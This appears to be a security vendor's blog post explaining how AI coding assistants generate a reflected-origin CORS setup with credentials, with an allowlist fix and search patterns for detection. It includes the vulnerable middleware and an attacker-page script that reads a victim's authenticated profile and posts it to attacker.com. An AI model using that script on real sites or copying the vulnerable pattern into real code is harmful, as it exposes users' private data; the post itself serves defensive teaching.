← Back to Blog

The CORS Misconfiguration Cursor Generates That Exposes Your API

AI coding assistants produce a CORS configuration that reflects every origin with credentials. Any website the victim visits can silently read their authenticated API responses.

XploitScan Team··8 min read

CORS is one of those things developers add to “make the frontend work,” then never think about again. Ask Cursor to “add CORS so my React app can call the API” and you get a middleware that technically works — but quietly allows any website to make credentialed requests to your API on behalf of any logged-in user.

This isn't a subtle misconfiguration. It's a full cross-site request forgery amplifier: an attacker's page can silently read your users' private data, their tokens, their billing information — anything your API returns — just by getting them to visit a page.

Here's what the vulnerable code looks like, why AI tools generate it, how the attack works, and the exact fix.

The Vulnerable Pattern

The most common version is a custom middleware that reflects the incoming Origin header back to the caller while also setting Access-Control-Allow-Credentials: true:

// middleware/cors.js — Cursor-generated
app.use((req, res, next) => {
  // Allow all origins so the frontend can call the API
  res.setHeader("Access-Control-Allow-Origin", req.headers.origin || "*");
  res.setHeader("Access-Control-Allow-Credentials", "true");
  res.setHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS");
  res.setHeader("Access-Control-Allow-Headers", "Content-Type, Authorization");
  if (req.method === "OPTIONS") return res.sendStatus(200);
  next();
});

You also see it with the cors npm package:

// Also common with the cors npm package
app.use(cors({
  origin: (origin, callback) => callback(null, origin), // reflects any origin
  credentials: true,
}));

// Or even simpler — developers assume this is safe because browsers block it
app.use(cors({ origin: true, credentials: true }));

Both of these reflect whatever origin the request comes from and allow credentials. The difference between origin: '*' and reflected origin matters here: browsers refuse to send cookies with Access-Control-Allow-Origin: * even if you also set credentials: true. But they will send cookies if the response echoes back the exact origin — because from the browser's perspective, the server has specifically granted that origin access. A reflected origin with credentials bypasses the one protection browsers give you for free.

How the Attack Works

An attacker registers a domain and puts up a page. When one of your users visits that page, the page silently fetches your API with the victim's cookies attached:

<!-- attacker.com — any page the victim visits -->
<script>
  fetch("https://yourapp.com/api/user/profile", {
    credentials: "include",  // sends the victim's cookies
  })
    .then(r => r.json())
    .then(data => {
      // data contains the victim's profile, tokens, billing info, etc.
      fetch("https://attacker.com/steal", {
        method: "POST",
        body: JSON.stringify(data),
      });
    });
</script>

Walk through what happens:

  1. The victim's browser sends the request to yourapp.com/api/user/profile with their session cookie.
  2. The server sees Origin: attacker.com and reflects it back: Access-Control-Allow-Origin: attacker.com.
  3. The server also returns Access-Control-Allow-Credentials: true.
  4. The browser — seeing a specific origin match and credentials allowed — hands the response body to the attacker's JavaScript.
  5. The attacker's script reads the victim's private data and exfiltrates it.

This works for any authenticated endpoint your API exposes: user profiles, API keys, billing history, team member lists, private scan results. If your session uses cookies (including httpOnly ones — the attacker can't read those directly, but the browser still sends them), this attack works against all of them at once.

The attack requires social engineering (getting the victim to visit a page), but that's easy: phishing email, malicious ad, compromised third-party script on any site the victim already trusts.

Why AI Tools Generate This

The pattern exists because of a legitimate problem: during development, your frontend is on localhost:3000 and your API is on localhost:3001, or your preview deployments have dynamically-generated URLs like my-app-git-feature-xyz.vercel.app. A hardcoded allowlist breaks all of that. “Reflect the origin” is the path of least resistance — it makes CORS problems disappear immediately.

The training data is full of this pattern because it works and nobody writes blog posts about the quiet data breach it causes later. AI tools learned to solve the immediate problem (browser console error) without the constraint (don't expose authenticated data to arbitrary origins).

This is exactly the dynamic behind most AI-generated security bugs: the model optimizes for making things work, not for what happens when someone tries to break them.

The Fix

The fix is an explicit origin allowlist. Only origins you control can make credentialed requests:

// middleware/cors.js — fixed
const ALLOWED_ORIGINS = new Set([
  "https://yourapp.com",
  "https://www.yourapp.com",
  // Add staging/preview URLs as needed
  ...(process.env.NODE_ENV === "development" ? ["http://localhost:3000"] : []),
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;

  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader("Access-Control-Allow-Origin", origin);
    res.setHeader("Access-Control-Allow-Credentials", "true");
  }
  // If origin is not in the allowlist, don't set the header at all.
  // The browser will block the request.

  res.setHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS");
  res.setHeader("Access-Control-Allow-Headers", "Content-Type, Authorization");
  if (req.method === "OPTIONS") return res.sendStatus(200);
  next();
});

With the cors package:

// With the cors npm package
app.use(cors({
  origin: (origin, callback) => {
    if (!origin || ALLOWED_ORIGINS.has(origin)) {
      callback(null, true);
    } else {
      callback(new Error("Not allowed by CORS"));
    }
  },
  credentials: true,
}));

For preview deployments with dynamic URLs (the reason reflected origin feels necessary), the right answer is to either:

  • Add your preview URL pattern to ALLOWED_ORIGINS via an environment variable — e.g. CORS_EXTRA_ORIGINS=https://my-app-git-feature.vercel.app
  • Use a regex match against a known pattern — e.g. /\.yourapp\.vercel\.app$/
  • Or, in a dev-only code path, allow any localhost origin

What you should not do is reflect arbitrary origins in production behind a flag that's easy to accidentally enable.

How to Check Your Own Code

Search your codebase for these patterns — any of them in combination with credentials: true or Allow-Credentials: true is a problem:

  • req.headers.origin passed directly into setHeader("Access-Control-Allow-Origin", ...)
  • origin: (origin, callback) => callback(null, origin)
  • origin: true with credentials: true
  • origin: req.headers.origin || "*"

If you see any of these and your API has authenticated endpoints, you have this vulnerability. If the API is fully public and unauthenticated, the risk is lower — but you're still allowing other sites to make requests as if they're your frontend, which is usually not what you want.

The Pattern Behind the Pattern

Stripe webhooks, CORS misconfigurations, missing authentication middleware — they all follow the same shape. AI tools write the code that makes your feature work in the happy path. They skip the part that makes it fail safely when someone tries to abuse it.

Security checks are usually one-liners or small functions. They look optional. They don't change how the feature behaves during normal use, so they never appear in demos or tutorials. And because AI training data skews heavily toward “how do I make X work?” rather than “how do I make X safe?”, the security check is consistently the thing that gets left out.

The fix for CORS is four lines. The fix for Stripe webhooks is four lines. Once you know the pattern, you can spot the missing check in about ten seconds. The problem is that the pattern itself is invisible until you know to look for it.

Check your CORS configuration automatically

XploitScan catches reflected-origin CORS, missing auth middleware, and 130+ other patterns AI tools get wrong.

Scan Your Code — Free